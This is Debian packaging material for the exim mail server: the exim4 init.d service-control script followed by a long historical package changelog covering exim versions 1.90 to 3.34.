debian/exim4-base.exim4.init0000644000000000000000000001471612204067555013055 0ustar #! /bin/sh # /etc/init.d/exim4 # # Written by Miquel van Smoorenburg . # Modified for Debian GNU/Linux by Ian Murdock . # Modified for exim by Tim Cutts # Modified for exim4 by Andreas Metzler # and Marc Haber ### BEGIN INIT INFO # Provides: exim4 # Required-Start: $remote_fs $syslog $named $network $time # Required-Stop: $remote_fs $syslog $named $network # Should-Start: postgresql mysql clamav-daemon greylist spamassassin # Should-Stop: postgresql mysql clamav-daemon greylist spamassassin # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: exim Mail Transport Agent # Description: exim is a Mail Transport agent ### END INIT INFO set -e test -x /usr/lib/exim4/exim4 || exit 0 . /lib/lsb/init-functions if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi LANG=C export LANG #read default file QUEUERUNNER='combined' QUEUEINTERVAL='30m' UPEX4OPTS='' PIDFILE="/var/run/exim4/exim.pid" QRPIDFILE="/var/run/exim4/eximqr.pid" [ -f /etc/default/exim4 ] && . /etc/default/exim4 upex4conf() { UPEX4CONF="update-exim4.conf" OLDIFS="$IFS" IFS=: for p in $PATH; do if [ -x "$p/$UPEX4CONF" ]; then IFS="$OLDIFS" $p/$UPEX4CONF $UPEX4OPTS return 0 fi done IFS="$OLDIFS" } # Exit if exim runs from /etc/inetd.conf if [ -f /etc/inetd.conf ] && grep -E -q '^[[:space:]]*((\*|[[:alnum:].-]+):)?smtp[[:space:]]' /etc/inetd.conf then upex4conf exit 0 fi DAEMON="/usr/sbin/exim4" NAME="exim4" # this is from madduck on IRC, 2006-07-06 # There should be a better possibility to give daemon error messages # and/or to log things log() { case "$1" in [[:digit:]]*) success=$1; shift;; *) :;; esac log_action_begin_msg "$1"; shift log_action_end_msg ${success:-0} "$*" } start_exim() { [ -e /var/run/exim4 ] || \ install -d -oDebian-exim -gDebian-exim -m750 /var/run/exim4 case ${QUEUERUNNER} in combined) start_daemon -p "$PIDFILE" \ "$DAEMON" -bd "-q${QFLAGS}${QUEUEINTERVAL}" \ ${COMMONOPTIONS} \ ${QUEUERUNNEROPTIONS} \ ${SMTPLISTENEROPTIONS} log_progress_msg "exim4" ;; separate) start_daemon -p "$PIDFILE" \ "$DAEMON" -bd \ ${COMMONOPTIONS} \ ${SMTPLISTENEROPTIONS} log_progress_msg "exim4_listener" start_daemon -p "$QRPIDFILE" \ "$DAEMON" -oP $QRPIDFILE \ "-q${QFLAGS}${QUEUEINTERVAL}" \ ${COMMONOPTIONS} \ ${QUEUERUNNEROPTIONS} log_progress_msg "exim4_queuerunner" ;; queueonly) start_daemon -p "$QRPIDFILE" \ "$DAEMON" -oP $QRPIDFILE \ "-q${QFLAGS}${QUEUEINTERVAL}" \ ${COMMONOPTIONS} \ ${QUEUERUNNEROPTIONS} log_progress_msg "exim4_queuerunner" ;; no|ppp) start_daemon -p "$PIDFILE" \ "$DAEMON" -bd \ ${COMMONOPTIONS} \ ${SMTPLISTENEROPTIONS} log_progress_msg "exim4_listener" ;; nodaemon) ;; esac } stop_exim() { # we try to kill eximqr and exim SMTP listener, no matter what # ${QUEUERUNNER} is set to, we could have switched since starting. if [ -f "$QRPIDFILE" ]; then killproc -p "$QRPIDFILE" "$DAEMON" # exim does not remove the pidfile if [ $? -eq 0 ] ; then rm -f "$QRPIDFILE" ; fi log_progress_msg "exim4_queuerunner" fi if [ -f "$PIDFILE" ]; then killproc -p "$PIDFILE" "$DAEMON" # exim does not remove the pidfile if [ $? -eq 0 ] ; then rm -f "$PIDFILE" ; fi log_progress_msg "exim4_listener" fi } reload_exim() { case ${QUEUERUNNER} in combined|no|ppp) killproc -p "$PIDFILE" "$DAEMON" -HUP log_progress_msg "exim4" ;; separate) killproc -p "$PIDFILE" "$DAEMON" -HUP log_progress_msg "exim4_listener" killproc -p "$QRPIDFILE" "$DAEMON" -HUP log_progress_msg "exim4_queuerunner" ;; esac } kill_all_exims() { SIG="${1:-TERM}" for pid in $(pidof $NAME); do if [ "$(readlink /proc/$pid/root)" = "/" ]; then kill -$SIG $pid fi done } status() { # the exit value of this function reflects the status of the SMTP # service. Output shows the status of the queue runner as well. SMTPNAME="SMTP listener daemon" QRNAME="separate queue runner daemon" if [ "${QUEUERUNNER}" = "combined" ]; then SMTPNAME="combined SMTP listener and queue runner daemon" fi log_action_begin_msg "checking $QRNAME" if pidofproc -p "$QRPIDFILE" "$DAEMON" >/dev/null; then log_action_end_msg 0 "running" else if [ -e "$QRPIDFILE" ]; then log_action_end_msg 1 "$QRNAME failed" else log_action_end_msg 0 "not running" fi fi log_action_begin_msg "checking $SMTPNAME" if pidofproc -p "$PIDFILE" "$DAEMON" >/dev/null; then log_action_end_msg 0 "running" exit 0 else if [ -e "$PIDFILE" ]; then log_action_end_msg 1 "$SMTPNAME failed" exit 1 else log_action_end_msg 0 "not running" exit 3 fi fi } # check for valid configuration file isconfigvalid() { if ! $DAEMON -bV > /dev/null ; then log 1 "Warning! Invalid configuration file for $NAME. Exiting." exit 1 fi } # check for non-empty paniclog warn_paniclog() { if [ -s "/var/log/exim4/paniclog" ]; then if [ -z "$E4BCD_PANICLOG_NOISE" ] || grep -vq "$E4BCD_PANICLOG_NOISE" /var/log/exim4/paniclog; then echo "ALERT: exim paniclog /var/log/exim4/paniclog has non-zero size, mail system possibly broken" 1>&2 fi fi } case "$1" in start) log_daemon_msg "Starting MTA" # regenerate exim4.conf upex4conf isconfigvalid start_exim log_end_msg 0 warn_paniclog ;; stop) log_daemon_msg "Stopping MTA" stop_exim log_end_msg 0 warn_paniclog ;; restart) log_daemon_msg "Stopping MTA for restart" # regenerate exim4.conf upex4conf isconfigvalid stop_exim log_end_msg 0 sleep 2 log_daemon_msg "Restarting MTA" start_exim log_end_msg 0 warn_paniclog ;; reload|force-reload) log_daemon_msg "Reloading $NAME configuration files" # regenerate exim4.conf upex4conf isconfigvalid reload_exim log_end_msg 0 warn_paniclog ;; status) status ;; force-stop) kill_all_exims $2 ;; *) echo "Usage: $0 {start|stop|restart|reload|status|what|force-stop}" exit 1 ;; esac exit 0 # vim:tabstop=2:expandtab:shiftwidth=2 debian/changelog.Debian.old0000644000000000000000000012256312027557533013020 0ustar exim (3.34-1) unstable; urgency=low * New upstream version * Applied patch so that it isn't an open relay when used from inetd with exim_user = root (but that still doesn't mean you should set this!) (Closes: #126124) * debian/editme-diff: Include lmtp support (Closes: #128052) * debian/postinst: Only run update-inetd if it exists * debian/control: The above means it only recommends rather than depends on netbase (Closes: #118244) * debian/config: Various changes to procmail-pipe transport in eximconfig output (Closes: #117923, #120614, #129338) * debian/config: Added comment mentioning rfcignorant.org to eximconfig output (Closes: #128414) * debian/email-addresses: Corrected typo (Closes: #123082) * debian/init.d: List restart option in usage output (Closes: #122939) * debian/config: Include rfc2142 addresses (such as abuse@) in generated aliases file (Closes: #128411) -- Mark Baker Sat, 19 Jan 2002 17:44:56 +0000 exim (3.33-1) unstable; urgency=low * New upstream version * debian/control: include package priorities * debian/copyright: fix spelling of common-licenses (I had spelt it the British way, as licences, which of course isn't what the directory is called) (Closes: #112086) * src/exim.c: upstream patch to fix minor local security hole (Closes: #117835) * debian/postrm: fix test for empty spool directory (Closes: #108956, #116018) * debian/postrm: check update-inetd exists before calling (Closes: #121365) -- Mark Baker Wed, 28 Nov 2001 22:07:14 +0000 exim (3.32-2) unstable; urgency=low * Applied upstream patch to fix IPv6 related problems (Closes: #108285, #108309) * debian/cron.daily: exit if exim binary doesn't exist (Closes: #108389) * debian/init.d: check that inetd.conf exists before grepping it for exim (Closes: #108147) * debian/exim.8: update description of -bp option (Closes: #107222) -- Mark Baker Wed, 15 Aug 2001 00:00:36 +0100 exim (3.32-1) unstable; urgency=low * New upstream version (bug fixes) * debian/preinst: create /etc/exim before moving exim.conf (Closes: #106659, #107657) * debian/preinst: only do nasty stuff to crontab if upgrading from a version prior to 1.82-3, as that was the first one to use cron in the way we do now. -- Mark Baker Wed, 8 Aug 2001 23:34:04 +0100 exim (3.31-1) unstable; urgency=low * New upstream version * debian/postrm: prompt before deleting spool directory if it's not empty (Closes: #101186) * debian/config: remove RBL questions (as ORBS no longer exists, and MAPS now charges); include a comment about RBL instead (Closes: #104524) * debian/rules: no longer have separate diff for hurd, as hurd now supports PAM and LDAP * OS/os.h-GNU, OS/Makefile-GNU: various other hurd changes (Closes: #101409) * debian/postinst: don't run eximconfig if doing a non-interactive install (Closes: #98764) * debian/postinst, debian/preinst: move config file to new location in preinst, not postinst (Closes: #101796) * debian/config: don't use group mail on procmail transport (Closes: #99075) * debian/init.d: use --pidfile option of start-stop-daemon (Closes: #97526, #74803, #62297) * debian/postinst: only grep exim.conf if it exists (Closes: #95031) * src/globals.c: upstream patch to header names * debian/postinst: only grep /etc/aliases if it exists (Closes: #94085) * debian/cron.daily: tidy wait-remote_smtp as well as retry database -- Mark Baker Thu, 19 Jul 2001 00:32:14 +0100 exim (3.22-4) unstable; urgency=low * debian/crontab: fix comment so it agrees (Closes: #92654) * debian/rules: don't use {a,b} syntax, which isn't in posix sh (Closes: #92456) * debian/config: RBL is now at blackholes.mail-abuse.org -- Mark Baker Tue, 10 Apr 2001 00:16:30 +0100 exim (3.22-3) unstable; urgency=low * src/eximon.src: don't want & on end of exec command (Closes: #53784) * debian/*.8: updated references to docs to /usr/share/doc, and updated my email address. * debian/exicyclog.8: exicyclog is in /usr/sbin, not /opt/exim/bin (Closes: #86642) * debian/control: build-dependencies updated for current X packages (Closes: #88565) * debian/config: generated config uses s (sender) flag on rewrite rules (Closes: #90839) * debian/config: generated config doesn't use b or c (bcc and cc) flags on rewrite rules * debian/crontab: run every 15 minutes * debian/crontab: don't ignore error output (exim should only output anything on errors, so we don't want to redirect anything to /dev/null (Closes: #88334) * debian/config: generated config refers to 127.0.0.1 and ::1, and not to localhost; which caused problems for some people when it tried to look up the ipv6 address for it (Closes: #88629, #76074) * debian/control: priority important * debian/postinst, debian/prerm: don't call suidregister or chmod * debian/control: conflict with suidmanager <<0.50 -- Mark Baker Fri, 30 Mar 2001 00:29:30 +0100 exim (3.22-2) unstable; urgency=low * debian/crontab: check existence of config file in /etc/exim/exim.conf rather than /etc/exim.conf (Closes: #85745) * debian/postinst, debian/postrm: more places I'd forgotten to fix after moving exim.conf * src/exim_tidydb.c: write "too old" message to stdout, not stderr (Closes: #81727) -- Mark Baker Mon, 12 Feb 2001 23:30:17 +0000 exim (3.22-1) unstable; urgency=low * New upstream version * debian/cron.daily: only run exim_tidydb if it exists and is executable (Closes: #83017) * debian/email-addresses: include comment indicating that it is part of the exim package (Closes: #82462) -- Mark Baker Wed, 24 Jan 2001 00:13:35 +0000 exim (3.20-2) unstable; urgency=low * debian/rules: allow for a locally modified makefile diff to be used instead of the standard one (patch by Karl Hegbloom) (Closes: #79275) * Put config file in an /etc/exim directory, as many people want to create other files for configuring their exim setup (Closes: #76318) . debian/rules: create /etc/exim directory . debian/config: write config file in $exim/exim/exim.conf . debian/editme-diff.linux: configure exim to read config from this directory. . debian/editme-diff.gnu: as editme-diff.linux . debian/postinst: move config file from existing installations when upgrading. * debian/config: default config includes (commented out) how to do client side SMTP AUTH (Closes: #79173) * debian/cron.daily: only cycle non-empty log files (Closes: #74996) * debian/control: build depends should be on libdb2-dev, not libdb2 (Closes: #79290) -- Mark Baker Mon, 11 Dec 2000 22:16:43 +0000 exim (3.20-1) unstable; urgency=low * New upstream release. * debian/config: swapped procmail and .forward directors in default config (Closes: #63588) * debian/config: include "end" after rewrite section (Closes: #77865) * debian/config: document /etc/email-addresses in eximconfig output * debian/README: document /etc/email-addresses (Closes: #77937) -- Mark Baker Sun, 3 Dec 2000 23:51:58 +0000 exim (3.16-7) unstable; urgency=high * debian/postinst: use -f option when deleting old hints databases (Closes: #75451) * src/exim.c: Change to real priveliges before expansion testing -- Mark Baker Thu, 26 Oct 2000 00:15:24 +0100 exim (3.16-6) unstable; urgency=low * debian/mails: added announcement of windows executable filter * applied patch so -bP cannot be used to get information from a config file that the user does not have read permission for. Thanks to Wichert Akkerman and Harald Hoyer for the patch (Closes: #67585) -- Mark Baker Sun, 22 Oct 2000 01:14:18 +0100 exim (3.16-5) unstable; urgency=low * debian/config: path option must go after driver (Closes: #72985, #74503) * debian/cron.daily: redirect output of exim_tidydb to /dev/null (Closes: #74474) * src/exim_tidydb.c: actual errors go to stderr so they aren't affected by redirect mentioned above * src/readconf.c: allow config to be group writable (Closes: #74082) * debian/config: depends on netbase (for update-inetd) (Closes: #73060) * debian/postinst: delete hints databases; if the configuration appears to refer to any other db files, warn them that they will have to rebuild them. This is because we are now (since 3.16-3.1) using libdb2 (Closes: #75020, #73055, #73048) * debian/config: default config file adds return path header to local deliveries (Closes: #75046) * debian/config: include (commented out) examples of how to set up the server side of an authenticated link * debian/config: default config file allow authenticated hosts to relay -- Mark Baker Thu, 19 Oct 2000 00:21:44 +0100 exim (3.16-4) unstable; urgency=low * Ben's NMU fixed bugs about new libc/libdb (Closes: #72588, #72587) * debian/postinst: set /usr/sbin/exim to be suid root if suidmanager isn't installed. (Closes: #72796, #72741, #72684, #72673, #72671, #72871, #70597) * debian/control: Added build-depends on xlib6-g (used for eximon) (Closes: #72088, #70918) * OS/Makefile-GNU: Use -lcrypt (partially fixes #71705) * debian/eximstats.8: Synopsis includes log file names (Closes: #72644) * debian/config: Include commented out how to restrict to local interface only (Closes: #66510) * debian/config: Set path on address_path transport to include /usr/bin (Closes: #65521) * debian/cron.daily: Run exim_tidydb to clean retry database (Closes: #57543) * debian/postinst: Install /var/log/exim directory as setgid adm (Closes: #35719, #11918) * debian/config: Use check_local_user in forwardfile director, so that correct user and group are used when running pipe entries in forward file (Closes: #72645) * debian/config: Include empty authenticators section * debian/editme-diff.gnu: New file for GNU hurd; old file renamed to editme-diff.linux * debian/rules: Use appropriate editme-diff for OS. This is necessary because currently the hurd doesn't support ldap or pam (Closes: #71705) -- Mark Baker Sat, 30 Sep 2000 18:43:41 +0100 exim (3.16-3.1) unstable; urgency=low * NMU for libdb2/glibc/ldap updates * Build using new libldap2-dev * Change Build-Depends accordingly -- Ben Collins Wed, 27 Sep 2000 13:11:51 -0400 exim (3.16-3) unstable; urgency=low * debian/config: need to escape another ' character (Closes: #70039, #70760, #70722, #70575) -- Mark Baker Sat, 2 Sep 2000 16:43:40 +0100 exim (3.16-2) unstable; urgency=low * debian/config: need to escape ' character (Closes: #70039) * debian/control: added libident-dev and libwrap0-dev to build dependencies (Closes: #70405) * debian/rules: use -p option when creating Local directory, so it doesn't fail if called repeatedly (Closes: #70519) -- Mark Baker Tue, 29 Aug 2000 21:14:31 +0100 exim (3.16-1) unstable; urgency=low * New upstream version (Closes: #66053) * Applied interface discovery patch by Jason Gunthorpe (Closes: #68748) * Applied IPv6 interface discovery patch also by Jason (Closes: #64531) * debian/exim.8: Removed superfluous hyphen (Closes: #69384) * debian/config: Changed /usr/doc/exim to /usr/share/doc/exim in a couple of places (Closes: #69013) * debian/init.d: Don't disable inetd.conf entry when starting MTA - if it wasn't disabled already we wouldn't have got that far, so it's unnecessary and confusing for anyone reading the script (Closes: #69048) * debian/config: add accept_8bitmime, commented out, with a comment explaining why it is probably a bad idea for it to be set * debian/control: add Build-depends: line * linked with libpcre3 * debian/editme-diff: include PAM support (Closes: #66398) -- Mark Baker Fri, 25 Aug 2000 00:14:35 +0100 exim (3.12-10) frozen unstable; urgency=low * debian/config: include headers_check_syntax in generated configuration file, commented out (Closes: #63238) * debian/config: don't include system hostname in list of local domains for satellite system (Closes: #61048) * src/host.c: look up an A record if attempt to look up AAAA record returns TRY_AGAIN, so it works with bind 4 nameservers. This was fixed upstream in 3.13, I have taken a patch from there (Closes: #62755) -- Mark Baker Sun, 30 Apr 2000 01:05:09 +0100 exim (3.12-9) unstable; urgency=low * debian/config: test whether /etc/exim.conf can be written replaced by test for $etc/exim.conf, allowing me to test this in another directory while not root * debian/config: don't include "root:root" in generated alias file (Closes: #61498) * debian/postinst: remove "root:root" from aliases file that older exim versions generated (Thanks Kim Oldfield for patch) * debian/mails: added mail from Thomas Schoepf about how he solved a problem he had on a dialup system (Closes: #61331) * debian/README.debian: Update: the instructions on how to run as a daemon needed changing and exim is now built with include LDAP and IPv6 (Closes: #62220) * debian/rules: renamed readme file to debian/README.Debian with upper case D. -- Mark Baker Thu, 13 Apr 2000 00:11:09 +0100 exim (3.12-8) unstable; urgency=low * debian/postinst: fixed typo in warning message: script is called /etc/init.d/exim, not /etc/init.d/conf (Closes: #61118) * debian/postinst: wrap warning mesage at 80 columns (also #61118) * debian/postinst: version of exim in test should be 3.03-2, not 3.99-2 which was used for testing purposes (Closes: #61068) -- Mark Baker Sun, 26 Mar 2000 23:23:48 +0100 exim (3.12-7) frozen unstable; urgency=low * debian/config: fixed typo in relay_domains question text (Closes: #60392) * debian/config: indicate default with capital in final question (Closes: #59722) * debian/config: don't check relay_domains, as the check excluded wildcards. (Closes: #59720) * debian/config: add alias entry for nobody (Closes: #59712) * debian/config: don't create aliases.new.O (Closes: #60572) * debian/postinst: warn when upgrading from old versions that don't ever run daemon from default startup script, if exim is not run from inetd.conf (Closes: #60567) -- Mark Baker Tue, 21 Mar 2000 23:57:00 +0000 exim (3.12-6) frozen unstable; urgency=low * debian/postinst: don't run /etc/init.d/exim if exim.conf doesn't exist. It didn't matter, it just gave an error message that it shouldn't have. * Remember to upload to frozen this time :) -- Mark Baker Tue, 29 Feb 2000 23:46:30 +0000 exim (3.12-5) unstable; urgency=low * src/transport.c: upstream patch so transport filters work with outgoing SMTP (Closes: #57835) -- Mark Baker Sun, 13 Feb 2000 17:12:28 +0000 exim (3.12-4) frozen unstable; urgency=low * debian/config: procmail_pipe transport has right options so from hack works on current version of exim (previously mail delivered by procmail was being horriblyl mangled) (Closes: #56865,#56208) * debian/cron.daily: include hostname in subject line of eximstats reports. * debian/copyright: new upstream ftp location -- Mark Baker Sat, 5 Feb 2000 22:00:49 +0000 exim (3.12-3) unstable; urgency=low * debian/rules: create Local directory in build target (and delete it in clean target (Closes: #56788) -- Mark Baker Tue, 1 Feb 2000 20:45:03 +0000 exim (3.12-2) unstable; urgency=low * src/smtp_out.c: failure to create a socket should not be a fatal error; this was causing problems for people without IPv6 in their kernel trying to send mail to sites with IPv6 addresses in the DNS. (Closes: #50628) * debian/rules,debian/editme-diffs(new file): create Local/Makefile at build time by applying a diff to EDITME, rather than having a pre-edited copy included in the debian source. As well as making the debian diff rather smaller this means that upstream changes to the EDITME file won't be ignored (Closes: #55112) * As a result of the above, exigrep of compressed files should work properly (Closes: #54776) * debian/rules: delete most of util/* in clean target -- Mark Baker Wed, 26 Jan 2000 23:28:56 +0000 exim (3.12-1) unstable; urgency=low * New upstream version (bug fixes) * debian/config: procmail director does file existence check as relevant user rather than as exim * debian/config: procmail director fails, rather than freezing message, if home directory can't be read (Closes: #54351,#53326,#53325,#53229) * debian/rules, debian/conffiles, debian/email-addresses (new file): add /etc/email-addresses as a conf-file (Closes: #54124) -- Mark Baker Sun, 9 Jan 2000 17:45:31 +0000 exim (3.11-2) unstable; urgency=low * OS/Makefile-Base: comment out code to check whether makefile needs updating; it didn't seem to work properly on some systems. I don't know why. This is a nasty hack but it works (Closes: #50435) * debian/control: description doesn't start with package name * debian/control: "X" rather than "X-windows" -- Mark Baker Sun, 19 Dec 1999 11:01:00 +0000 exim (3.11-1) unstable; urgency=low * New upstream version (Closes: #51744) -- Mark Baker Wed, 8 Dec 1999 00:02:59 +0000 exim (3.03-6) unstable; urgency=low * debian/config: check that /etc/exim.conf was writable didn't do the right thing when file didn't exist (Closes: #51498,#51789) * debian/config: uncomment second line of rewrite configuration (Closes: #51496,#52111,#52148,) * debian/rules: clean target deletes Local/Makefile-Linux (Closes: #50435) * doc/spec.txt: example cyrus configuration refers to debian location of binary -- Mark Baker Tue, 7 Dec 1999 22:24:04 +0000 exim (3.03-5) unstable; urgency=low * Local/Makefile: don't link with libwrap any more; it causes too many problems for people upgrading (#50250) * debian/config: don't include userforward or procmail directors in satellite configuration (#40570) * debian/crontab: only run queue if /etc/exim.conf exists (#43419) * debian/rules, debian/ipv6.sh, OS/Makefile-Default: Fix so IPv6 support is only included if available, so exim will build on m68k (#50435) * debian/config: exit if not run as root (#50543) * debian/config: don't comment out the example rewrite rule: it is sufficiently widely used, at least for dialups, that it should be in by default (#49202) -- Mark Baker Sat, 27 Nov 1999 19:11:33 +0000 exim (3.03-4) unstable; urgency=low * debian/control: put quotes around $etc/exim.conf (#50071) * Create symlinks in /usr/doc from postinst, not rules (#50072) . debian/postinst: create symlink in /usr/doc if required . debian/postinst-eximon (new file): create symlink in /usr/doc if required . debian/prerm: delete symlink in /usr/doc . debian/prerm-eximon (new file): delete symlink in /usr/doc . debian/rules: don't create symlinks in /usr/doc . debian/rules: install {postinst,prerm}-eximon * debian/rules: install man pages in /usr/share/man as required by policy 3.1.0 * debian/copyright: refer to GPL in new location /usr/share/common-licences/GPL instead of /usr/doc/copyright/GPL -- Mark Baker Sat, 13 Nov 1999 16:52:59 +0000 exim (3.03-3) unstable; urgency=low * debian/rules: install docs in /usr/share/doc/exim with symlink from /usr/doc/exim, as required by policy 3.1.0 * debian/control: policy version upgraded to 3.1.0 * debian/config: if exim.conf already exists, warn that continuing with eximconfig will trash it (#49201) * debian/*: updated Tim Cutts' email address -- Mark Baker Thu, 11 Nov 1999 21:07:56 +0000 exim (3.03-2) unstable; urgency=low * debian/config: don't shift things off @names, as that was removing localhost (#48102) * exim_monitor/em_main.c: fix bindings for popup menu so they work with all combinations of modifiers, working round Xt misfeature. Thanks Kevin Ryde for patch (#20485) * debian/config: fixed typo (FRC instead of RFC) * debian/README.debian: extra backslashes in sample filter (#46462) * debian/crontab: only run every 30 mins instead of every 15; this is the same frequency as we ask a daemon to do a queue run and it makes sense for them to be the same * debian/config: generated configuration will call procmail if it is installed and if users have .procmailrc files * debian/init.d: start exim daemon if no smtp entry in inetd.conf * OS/Makefile-Default: define HAVE_IPV6. The attempt to auto-detect it was a failure (it detected it correctly, but the config.h builder doesn't understand anything so fancy in the makefile) * Local/Makefile: include LDAP support * Local/Makefile: link with libwrap -- Mark Baker Thu, 4 Nov 1999 21:22:20 +0000 exim (3.03-1) unstable; urgency=low * new upstream version * src/exim.h: include rather than "pcre/pcre.h" * OS/Makefile.Base: don't build pcre (it's not used anyway) * debian/postinst: don't do upgrade from pre-3.0 stuff if /etc/exim.conf doesn't exist (#42305) * debian/eximconfig.8: mention -i option (#41786) -- Mark Baker Wed, 4 Aug 1999 22:24:57 +0100 exim (3.02-5) unstable; urgency=low * OS/Makefile-Linux, OS/Makefile-Default: applied patch from Roman Hodek so it will compile on m68k which doesn't yet have glibc2.1 (#41365) * debian/config: applied patch from Andrew Pimlott so system users with a hyphen in the login name (only www-data normally) get added to aliases file (#41235) * debian/config: typo (exim-doc package name without hyphen) (#41071) * debian/exim.8: updated command line options in manpage (#41082) -- Mark Baker Mon, 19 Jul 1999 23:26:34 +0100 exim (3.02-4) unstable; urgency=low * src/daemon.c: patch in previous release only did half the job; I now have a patch from the upstream author instead. -- Mark Baker Wed, 7 Jul 1999 22:35:44 +0100 exim (3.02-3) unstable; urgency=low * src/daemon.c: if attempt to open AF_INET6 fails, try again as AF_INET; this will hopefully make it work for people without IPv6 in their kernels (#40248) * src/host.c: apply upstream patch so ::ffff:w.x.y.z style IPv4 compatibility addresses will reverse lookup correctly -- Mark Baker Wed, 30 Jun 1999 23:28:35 +0100 exim (3.02-2) unstable; urgency=low * debian/config: fix received headers (#40185,#40210,#40216) -- Mark Baker Tue, 29 Jun 1999 00:58:15 +0100 exim (3.02-1) unstable; urgency=low * New upstream release (bug fixes) * Applied patch for GNU/Hurd support (#39262) * debian/config: include "localhost" as a local domain by default. I do this reluctantly, so fetchmail will work out the box. * debian/config: include "for " in received headers (#39344) * debian/config: add Envelope-to: header in local delivery transport * debian/copyright: update copyright date to 1999 * src/host.c: Fixed bug with IPv6 address handling properly * src/verify.c: Removed work-around introduced in last release -- Mark Baker Mon, 21 Jun 1999 22:37:56 +0100 exim (3.01-1) unstable; urgency=low * New upstream release (bug fixes) * src/verify.c: Fixed bug with IPv6 address handling * debian/config: eximconfig -i should restart daemon -- Mark Baker Tue, 25 May 1999 23:33:00 +0100 exim (3.00-1) unstable; urgency=low * New upstream release * OS/Makefile-Default: Enabled IPv6 support (this therefore requires glibc 2.1) * debian/config: Outputs new configuration file format * debian/config: If called with -i option, installs exim in inetd.conf etc * debian/postinst: When upgrading from pre-3.00 versions, convert configuration file to new format. Leave exim not running, as the configuration file will need to be manually checked. * debian/postinst: registration of init.d script only done if exim configured -- Mark Baker Sat, 15 May 1999 01:22:33 +0100 exim (2.11-4) unstable; urgency=low * debian/cron.daily: only cycle logs if files exist (#35544, #35585, #34645, #36271) * debian/control: suggests exim-doc (#34086) * debian/README.debian: include sample .forward file to handle mail on debian mailing lists (thanks Giuliano) * debian/config: allow domain name components that start with a number. While these are strictly speaking not allowed, there are plenty out there, and not allowing them was causing problems (#36320) -- Mark Baker Thu, 22 Apr 1999 23:08:16 +0100 exim (2.11-3) unstable; urgency=low * debian/config: recommend adding localhost to local domains if fetchmail is to be used (#34088) * debian/config: was generating invalid rewrite rules for a satellite system with no root alias specified (#34060) * debian/config: generated config includes "for" information in received headers * debian/config: set smtp_accept_queue_per_connection to 100 in generated config, as the default of 10 is much too low for dialup users * debian/config: set freeze_tell_mailmaster to true in generated config * debian/config: always allow relaying from localhost (#31844) * debian/cron.daily: use savelog instead of exicyclog (#33467) -- Mark Baker Thu, 4 Mar 1999 23:50:16 +0000 exim (2.11-2) unstable; urgency=low * debian/config: write config files to /etc instead of /tmp (oops!) -- Mark Baker Mon, 1 Feb 1999 23:27:05 +0000 exim (2.11-1) unstable; urgency=low * New upstream version * (Uses libpcre2 instead of libpcre1) * debian/config: don't set never_users if user doesn't set up a root alias -- Mark Baker Fri, 28 Jan 1999 00:21:00 +0000 exim (2.05-1) frozen unstable; urgency=low * New upstream version (mostly bugfixes) -- Mark Baker Sat, 7 Nov 1998 00:24:44 +0000 exim (2.04-3) unstable; urgency=low * debian/init.d: don't enable inetd service when stopping daemon (#27265) * delete lots of .orig files that didn't need to be in source diff (#27267) * recompile against libident with correct shlibs (#27265) -- Mark Baker Thu, 1 Oct 1998 21:23:30 +0100 exim (2.04-2) unstable; urgency=low * debian/postinst: use -e so it dies on errors * debian/preinst: don't use crontab if it isn't installed -- Mark Baker Sun, 27 Sep 1998 22:07:51 +0100 exim (2.04-1) unstable; urgency=low * New upstream version (mostly bug fixes) * debian/crontab: check exim exists and is executable (#26953) -- Mark Baker Sat, 26 Sep 1998 21:26:19 +0100 exim (2.02-4) unstable; urgency=low * debian/crontab: 2>&1 should be after >/dev/null -- Mark Baker Tue, 01 Sep 1998 22:49:00 +0100 exim (2.02-3) unstable; urgency=low * Local/Makefile: include maildir support (#25575) -- Mark Baker Mon, 10 Aug 1998 21:46:08 +0100 exim (2.02-2) unstable; urgency=medium * debian/crontab: should be 2>&1 instead of 2&>1 (#25539,#25552,#25558) -- Mark Baker Sun, 09 Aug 1998 22:23:00 +0100 exim (2.02-1) unstable; urgency=low * New upstream version (#24692) * debian/crontab: send output to /dev/null (#24384) -- Mark Baker Thu, 06 Aug 1998 21:46:27 +0100 exim (1.92-4) unstable; urgency=low * debian/preinst: redirect stderr of some commands to /dev/null (#22867) * src/macros.h: define iscntrl() so 8-bit strings work in headers (#22932 and hopefully #20958) -- Mark Baker Sat, 30 May 1998 13:11:27 +0100 exim (1.92-3) frozen unstable; urgency=low * debian/config: write config files in /etc, not . (#22387) * debian/config: properly comment out example rewriter (#22388) * debian/postrm: remove rc.d links only on purge, not remove -- Mark Baker Wed, 13 May 1998 09:55:00 +0100 exim (1.92-2) frozen unstable; urgency=low * These together answer all but one of the issues raised in #22067 * debian/config: fix typo in "TRANPORTS" * debian/config: put separator between each question * debian/config: clarify question about qualifying domain for satellite system * debian/config: rewrite rule for satellite systems now matches root etc case insensitively * debian/config: include in output (commented out) example of how to rewrite all outgoing addresses according to lookup table -- Mark Baker Mon, 04 May 1998 22:08:00 +0100 exim (1.92-1) frozen unstable; urgency=low * New upstream version (minor bug fixes) * OS/Makefile-Linux: compile with -O2 * OS/Makefile-Base: link with existing libident.a * src/eximon.src: don't set LD_LIBRARY_PATH in eximon wrapper script * exim_monitor/em_main.c: show last 8k of log when you start (#21956) * debian/postinst: don't install in inetd.conf unless /etc/exim.conf exists (#19548) * debian/rules: minor changes -- Mark Baker Fri, 01 May 1998 22:55:25 +0100 exim (1.91-1) frozen unstable; urgency=low * New upstream version (bug fixes) -- Mark Baker Tue, 28 Apr 1998 10:12:38 +0100 exim (1.90-5) frozen unstable; urgency=low * debian/postinst: don't die if exim already running (#21181) * debian/config: set umask to 022, so aliases file created has mode that exim won't complain about (#21410) * debian/control: suggest mail-reader, not mail-user-agent (which doesn't exist) -- Mark Baker Thu, 16 Apr 1998 19:45:55 +0100 exim (1.90-4) frozen unstable; urgency=low * Delete debian/files before packaging source (#21217) -- Mark Baker Thu, 16 Apr 1998 19:45:55 +0100 exim (1.90-3) frozen unstable; urgency=low * Fixed silly bug that stopped eximconfig from running (I hadn't tested it, as it was just one minor change to a comment. However, the comment was in the generated exim.conf file, so was embedded in a perl string---using an unescaped apostrophe broke things) -- Mark Baker Wed, 08 Apr 1998 19:42:51 +0100 exim (1.90-2) frozen unstable; urgency=low * Configuration written by eximconfig will not fail if mailbox has a stricter mode than the default 0660 -- Mark Baker Fri, 03 Apr 1998 11:06:20 +0100 exim (1.90-1) frozen unstable; urgency=low * New upstream version (bug fixes) * Split out documentation, allowing pristine source to be used -- Mark Baker Wed, 01 Apr 1998 